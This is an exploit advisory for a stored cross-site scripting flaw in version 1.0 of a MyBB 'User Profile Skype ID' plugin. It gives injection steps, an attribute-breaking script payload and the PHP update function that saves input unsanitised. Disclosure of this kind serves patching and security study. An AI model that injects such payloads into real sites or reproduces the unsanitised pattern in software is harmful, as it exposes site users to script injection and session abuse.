MyBB User Profile Skype ID Plugin 1.0 - Stored XSS

# Exploit Title: Profile Skype ID MyBB Plugin Stored XSS # Date: 14/12/2012 # Exploit Author: limb0 # Vendor Homepage: http://www.dragonknightz.net/ # Software Link: http://mods.mybb.com/view/user-profile-skype-id # Version: 1.0 # Category:Web Security # Tested on: Linux +------------------------------------------------------------+ Stored XSS-Instructions 1.Install&Activate plugin 2.Go to UserCP >> Edit Profile >> Skype ID: 3.Inject your string(xss) ex. "><script>alert("Skype ID XSS")</script> 4.Visit your profile and voila Proof Inject:https://imageshack.us/photo/my-images/22/screenshotfrom201212141.png/ Result:https://imageshack.us/photo/my-images/41/screenshotfrom201212141.png/ +-------------------------------------------------------------+ Vulnerable code: function profileskype_update($skype) { global $mybb; if (isset($mybb->input['skype'])) { $skype->user_update_data['skype'] = $mybb->input['skype']; } }